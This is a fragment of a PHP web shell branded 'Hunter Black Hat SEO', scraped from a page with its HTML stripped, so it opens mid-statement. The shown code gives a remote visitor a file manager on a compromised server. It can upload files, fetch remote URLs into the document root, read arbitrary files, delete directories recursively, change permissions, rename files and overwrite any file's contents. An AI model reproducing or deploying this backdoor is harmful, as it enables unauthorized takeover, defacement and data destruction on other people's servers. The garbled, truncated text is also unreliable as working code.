Ok
Hunter Black Hat SEO
NONE":"".$disfunc.""; function author(){ echo '';exit(); } function cekdir(){ $lokasi=isset($_GET['path'])?$_GET['path']:getcwd(); return is_writable($lokasi)?"writable":"readonly"; } function cekroot(){ return is_writable($_SERVER['DOCUMENT_ROOT'])?"writable":"readonly"; } function xrmdir($dir){$items=scandir($dir);foreach($items as $i){if($i=='.'||$i=='..')continue;$path=$dir.'/'.$i;if(is_dir($path))xrmdir($path);else unlink($path);}rmdir($dir);} function green($t){echo"
$t
";} function red($t){echo"
$t
";} ?>
Server:
System:
User:
PHP:
Disabled:
Upload Files
$name){ $tmp=$_FILES['berkas']['tmp_name'][$key]; $target=$lokasi."/".basename($name); if(@move_uploaded_file($tmp,$target)){$uploaded++;}else{$failed++;} } if($uploaded>0)green("Uploaded $uploaded file(s) to: $lokasi"); if($failed>0)red("Failed to upload $failed file(s)"); }else{red("No file selected.");} }elseif(isset($_POST['linknya'])){ if(empty($_POST['namalink'])){red("Filename cannot be empty");} else{ if($_POST['dirnya']=="2"){$lokasi=$_SERVER['DOCUMENT_ROOT'];} $data=@file_put_contents($lokasi."/".$_POST['namalink'],@file_get_contents($_POST['darilink'])); if(file_exists($lokasi."/".$_POST['namalink']))green("File fetched: ".$lokasi."/".$_POST['namalink']);else red("Fetch failed"); }}} ?>
File: ".$_GET['fileloc']."
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
";author(); }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="hapus"){ if(is_dir($_POST['path'])){xrmdir($_POST['path']);file_exists($_POST['path'])?red("Failed to delete dir"):green("Directory deleted");} elseif(is_file($_POST['path'])){@unlink($_POST['path']);file_exists($_POST['path'])?red("Failed to delete file"):green("File deleted");} }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="ubahmod"){ echo"
chmod ".$_POST['path']."
"; echo'
'; if(isset($_POST['chm0d'])){ $perm=octdec($_POST['perm']); $cm=@chmod($_POST['path'],$perm); $cm?green("Permission changed"):red("Permission change failed"); } echo"
"; }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="gantinama"){ if(isset($_POST['gantin'])){ $ren=@rename($_POST['path'],$_POST['newname']); $ren?green("Renamed successfully"):red("Rename failed"); } $namaawal=basename($_POST['path']); echo"
mv ".$_POST['path']."
"; echo'
'; }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="edit"){ if(isset($_POST['gasedit'])){ $edit=@file_put_contents($_POST['path'],$_POST['src']); $edit?green("File saved"):red("Save failed"); } echo"
nano ".$_POST['path']."
"; echo'
'; } ?>
"; } foreach($lokasinya as $file){ if(!is_file("$lokasi/$file"))continue; $size=filesize("$lokasi/$file")/1024;$size=round($size,3);$size=$size>=1024?round($size/1024,2).'M':$size.'K'; echo""; } ?>
NameSizePermissionsActions
$dir--".statusnya($lokasi."/".$dir)."
$file$size ".statusnya("$lokasi/$file")."
0x0100,'w'=>0x0080,'x'=>0x0040]; $perm.=(($p&$map['r'])?'r':'-').(($p&$map['w'])?'w':'-').(($p&$map['x'])?'x':'-'); $perm.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?'x':'-'); $perm.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?'x':'-'); return $type.$perm; } ?>